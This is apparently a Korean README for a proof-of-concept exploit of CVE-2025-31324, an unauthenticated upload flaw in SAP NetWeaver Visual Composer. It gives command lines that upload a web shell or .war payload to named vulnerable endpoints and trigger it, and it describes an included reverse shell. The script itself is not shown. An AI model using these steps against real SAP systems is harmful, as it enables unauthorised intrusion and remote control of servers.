CVE-2025-31324_PoC

CVE-2025-31324에 대한 개념 증명(PoC): SAP NetWeaver Visual Composer Metadata Uploader에서의 인증 없는 업로드

이 스크립트는 다음을 수행합니다:

취약한 엔드포인트에 파일 업로드 (Upload 호스트/포트를 통해)
HTTP GET을 통한 선택적 트리거 (Trigger 호스트/포트를 통해)
기본 응답 검증/로깅

사용 예시: python3 PoC.py
--host sap.example.com --port 50000
--endpoint /irj/portal/sap/bc/webdynpro/sap/ZWDC_METADATA_UPLDR
--file EvilPayload.war
--trigger-path /irj/portal/irj/servlet_jsp/irj/root/EvilPayload/shell.jsp
--trigger-host sap.example.com --trigger-port 50001 --trigger-https true
--bypass-portal

python3 PoC.py --host sap.example.com --port 50000
--endpoint /developmentserver/metadatauploader
--file shell.jsp
--trigger-path /visual_composer/shell.jsp
--trigger-host sap.example.com --trigger-port 50001 --trigger-https

원하는 실행 방식에 따라 .war 파일을 업로드하는 기능도 사용할 수 있습니다. cache.jsp는 시스템에 접속한 뒤 액세스 권한을 제공하는 리버스 셸입니다. (아직 문제를 해결하는 중입니다)

면책 조항

이 자료는 교육 목적으로만 제공되며 악의적인 활동에 사용되어서는 안 됩니다. 보안 취약점을 테스트하거나 연구할 때는 항상 필요한 권한을 보유하고 윤리적 지침을 따르십시오.

질문이나 확인 사항이 있으면 언제든지 연락해 주세요. 안전하고 보안에 유의하세요!

CVE-2025-31324_PoC_SAP

인기